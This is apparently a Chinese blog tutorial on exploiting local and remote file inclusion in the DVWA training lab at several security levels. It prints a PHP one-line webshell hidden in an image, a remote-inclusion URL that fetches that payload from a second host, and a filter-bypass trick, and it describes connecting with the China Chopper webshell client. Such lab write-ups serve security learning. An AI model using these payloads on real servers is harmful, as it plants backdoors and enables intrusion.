文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)

CONTENTS

 

1 文件包含渗透简述

1.1 原理和危害

1.2 实验模拟环境

2 低安全级别渗透

2.1 本地文件包含

2.2 本地文件包含+webshell

2.3 远程文件包含+webshell

3 中安全级别渗透

3.1 本地文件包含

3.2 本地文件包含+webshell

3.3 远程文件包含+webshell

4 高安全级别渗透


1 文件包含渗透简述

1.1 原理和危害

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once(),require_once() )利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项 (选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  1. 文件包含( File Inclusion )即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
  2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
  3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数


       文件包含分为两类:

  • 本地文件包含LFI ( Local File Inclusion )当被包含的文件在服务 器本地时,就形成本地文件包含;
  • 远程文件包含RFI ( Remote File Inclusion) 当被包含的文件在第3 方服务器时,叫做远程文件包含。

 

看下图理解:

 

1.2 实验模拟环境

模拟本地文件包含两台虚拟机就足够了,远程文件包含可以设置三台来模拟。ip地址不一定与下面一致哦。

2 低安全级别渗透

2.1 本地文件包含

(1)首先在肉鸡owasp上查看/etc/php5/cli/php.ini文件,观察下面这两个有没有打开。

(2)打开owasp网址,进入dvwa。找到File inclusion。查看源码。这是一种low安全级。

(3)直接在搜索栏后面添加服务器中对应的文件地址,就可以访问。前提有相应的权限。

 

2.2 本地文件包含+webshell

(1)本地文件包含获取权限实在太少了,还有限制。我们可以通过制作一句图片木马,上传图片木马文件到服务器,执行文件而生成后门。最后通过中国菜刀工具连接webshell。

我们先制作一句话图片木马,利用edjpgcom这个工具生成。工具链接给大家:

链接:https://pan.baidu.com/s/1f4FmSMiJstAE7U-XT6ejgQ 
提取码:ypfs 

直接将图片拖到exe中,编辑内容如下: 

<?fputs(fopen("shell1.php","w"),'<?php eval($_POST[passwd]);?>')?>

(2)开始上传一句话图片木马

(3) 执行文件生成后门

(4)利用菜刀工具登录到webshell

 实现对文件管理、虚拟终端和数据库管理的控制:

 

2.3 远程文件包含+webshell

这个其实也很简单,我就在远程服务器配置一个脚本文件。例如我在kali配置Apache服务器,在主目录下放一个jpg文件,jpg里放一句话木马,然后通过win7访问远程文件的URL。

(1)在kali上配置Apache,并上传文件到网站上。

<?fputs(fopen("shell2.php","w"),'<?php eval($_POST[passwd2]);?>')?>

(2)肉鸡端访问利用文件包含访问远程服务器后门文件

查看owasp下面目录下是否生成shell2.php 

(3)开始利用菜刀工具(这个我就不在赘述拉)

 

3 中安全级别渗透

3.1 本地文件包含

(1)首先调整安全级别为medium,然后查看后端代码,如下。说明它不允许URL远程连接。但仍然是可以进行本地文件包含的。这个我就不演示拉。跟上面low安全级别一样。

 

 

3.2 本地文件包含+webshell

依然先上传带有木马的图片,执行程序,获取服务器的webshell。跟low级别操作一样

 

然后就可以通过菜刀工具获取webshell拉(我就不演示了)

3.3 远程文件包含+webshell

因为后端代码对http头做了限制,但是仍然可以通过伪造http头,str_replace仍然轻松绕过:如下:

http://192.168.119.167/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.119.166/noface.jpg

下面又可以通过菜刀工具来获取webshell了。 

4 高安全级别渗透

这个是很安全的,因为它对包含文件写死了,不允许其它include文件包含进来。这种代码优势就是很安全,劣势也很明显,完全闭关锁国。可以看下面后端代码:

 

 


 

 

 

 

 

 

 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

硬核的无脸man~

你的鼓励是我创作的最大功力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值